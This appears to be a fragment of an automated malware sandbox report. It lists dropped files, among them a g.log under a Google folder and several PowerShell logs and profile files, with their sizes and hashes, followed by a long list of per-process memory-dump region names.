Path C:\Program Files\Google\Libs\g.log
Size 226B
SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
MD5 fdba80d4081c28c65e32fff246dc46cb
SHA1 74f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA512 b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
MD5 SHA1 SHA512

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
MD5 6d42b6da621e8df5674e26b799c8e2aa
SHA1 ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA512 53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4e210dede619a6a139357f24d89df3e27d92519b3cc9bb9fcd0bbb8158f65230
MD5 d5cbd2fca9cb176ad25444fa061f848d
SHA1 720cbda940ec7c13e9c0fb6f4725dd281507a94b
SHA512 fb80bcd8e49fff4d4a4fcb5844691d674cd749cbc84b75feac37b83401b8beff0ee9c6f122f683c98da9b5ab15d4dd803c7e2aea8721f90f60dbb9d19c9a0eb2
MD5 SHA1 SHA512

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__PSScriptPolicyTest_deyulldq.uku.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_deyulldq.uku.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 93ea56ad38069dbc3d1ae192afd3f3dc8704e9298752f73729b95cf3298dcaca
MD5 7b1fe6890101f73a0c9796d8d585b168
SHA1 56eb99ee341b880cf7a80ebc705371aea87b3743
SHA512 fe73cccfadc916f613fbcc7a80ec82ae1228ea2aa28bba4515851e82463e76942ff3a3d6bcc78ea666a841d89220fb49b8fa52279985e88fe0aec6728f21aefa
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkqntznEfqeYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkqntznEfqtZq6FIzoI
MD5 SHA1 SHA512 SSDEEP

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StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a44ba59eb52b4d6555065fa840ac7162080eb538e6b6a47198fe4961d0297833
MD5 2722730a0cf82161fb1452b600334796
SHA1 4479415f50cd9ab55c4f7bcdc1a0a5177492f053
SHA512 54ec97b79003db56fb1ca44b33a1c2a9748014a3c1dc84fdb2afca84d3c6618ad88ccb353d52078789e3e0ed0ee6c763a74bf34cea1334e427a264db9171dfb0
MD5 SHA1 SHA512

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memory/1108-169-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-141-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-171-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-122-0x000001C8DFCC0000-0x000001C8DFCE0000-memory.dmp

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memory/1108-167-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-165-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-163-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-175-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-161-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-159-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-177-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-157-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-155-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-153-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-151-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-149-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-147-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-145-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-143-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-173-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-139-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-137-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-135-0x000001C8DFD00000-0x000001C8DFD20000-memory.dmp

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memory/1108-134-0x000001C8DFCE0000-0x000001C8DFD00000-memory.dmp

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memory/1108-133-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-131-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-179-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-181-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-130-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-185-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-128-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-125-0x000001C8DFCE0000-0x000001C8DFD00000-memory.dmp

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memory/1108-126-0x000001C8DFD00000-0x000001C8DFD20000-memory.dmp

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memory/1108-183-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-124-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-121-0x00007FF69CC80000-0x00007FF69D474000-memory.dmp

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memory/1108-120-0x000001C8DF7B0000-0x000001C8DF7D0000-memory.dmp

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memory/1700-129-0x00007FF72C210000-0x00007FF72C226000-memory.dmp

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memory/1700-123-0x00007FF72C210000-0x00007FF72C226000-memory.dmp

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memory/2204-119-0x00007FF7264F0000-0x00007FF726701000-memory.dmp

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memory/2204-51-0x00007FF7264F0000-0x00007FF726701000-memory.dmp

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memory/2860-112-0x00007FF912CB0000-0x00007FF913771000-memory.dmp

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memory/2860-110-0x000001F4E3B30000-0x000001F4E3B40000-memory.dmp

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memory/2860-108-0x000001F4E60B0000-0x000001F4E6165000-memory.dmp

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memory/2860-109-0x000001F4E3B30000-0x000001F4E3B40000-memory.dmp

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memory/2860-96-0x00007FF912CB0000-0x00007FF913771000-memory.dmp

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memory/2860-97-0x000001F4E3B30000-0x000001F4E3B40000-memory.dmp

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memory/2892-29-0x000001E1EFA40000-0x000001E1EFA50000-memory.dmp

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memory/2892-28-0x00007FF912CB0000-0x00007FF913771000-memory.dmp

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memory/2892-30-0x000001E1EFA40000-0x000001E1EFA50000-memory.dmp

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memory/2892-32-0x00007FF912CB0000-0x00007FF913771000-memory.dmp

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memory/3408-35-0x00007FF912CB0000-0x00007FF913771000-memory.dmp

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memory/3408-36-0x000001D230910000-0x000001D230920000-memory.dmp

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memory/3408-37-0x000001D230910000-0x000001D230920000-memory.dmp

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memory/3408-50-0x00007FF912CB0000-0x00007FF913771000-memory.dmp

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memory/3580-0-0x00007FF7E76C0000-0x00007FF7E78D1000-memory.dmp

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memory/3580-34-0x00007FF7E76C0000-0x00007FF7E78D1000-memory.dmp

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memory/4436-80-0x000002324F0A0000-0x000002324F0A6000-memory.dmp

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memory/4436-78-0x000002324F0C0000-0x000002324F0DA000-memory.dmp

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memory/4436-62-0x000002324CAA0000-0x000002324CAB0000-memory.dmp

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memory/4436-61-0x00007FF912CB0000-0x00007FF913771000-memory.dmp

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memory/4436-73-0x000002324CA70000-0x000002324CA8C000-memory.dmp

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memory/4436-72-0x000002324CAA0000-0x000002324CAB0000-memory.dmp

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memory/4436-75-0x000002324CA90000-0x000002324CA9A000-memory.dmp

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memory/4436-76-0x000002324F080000-0x000002324F09C000-memory.dmp

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memory/4436-77-0x000002324F060000-0x000002324F06A000-memory.dmp

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memory/4436-74-0x000002324EE60000-0x000002324EF15000-memory.dmp

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memory/4436-81-0x000002324F0B0000-0x000002324F0BA000-memory.dmp

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memory/4436-82-0x000002324CAA0000-0x000002324CAB0000-memory.dmp

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memory/4436-79-0x000002324F070000-0x000002324F078000-memory.dmp

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memory/4436-85-0x00007FF912CB0000-0x00007FF913771000-memory.dmp

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memory/4496-16-0x00007FF912CB0000-0x00007FF913771000-memory.dmp

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memory/4496-4-0x0000013B6C1F0000-0x0000013B6C212000-memory.dmp

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memory/4496-3-0x0000013B6C800000-0x0000013B6C810000-memory.dmp

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memory/4496-2-0x0000013B6C800000-0x0000013B6C810000-memory.dmp

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memory/4496-1-0x00007FF912CB0000-0x00007FF913771000-memory.dmp

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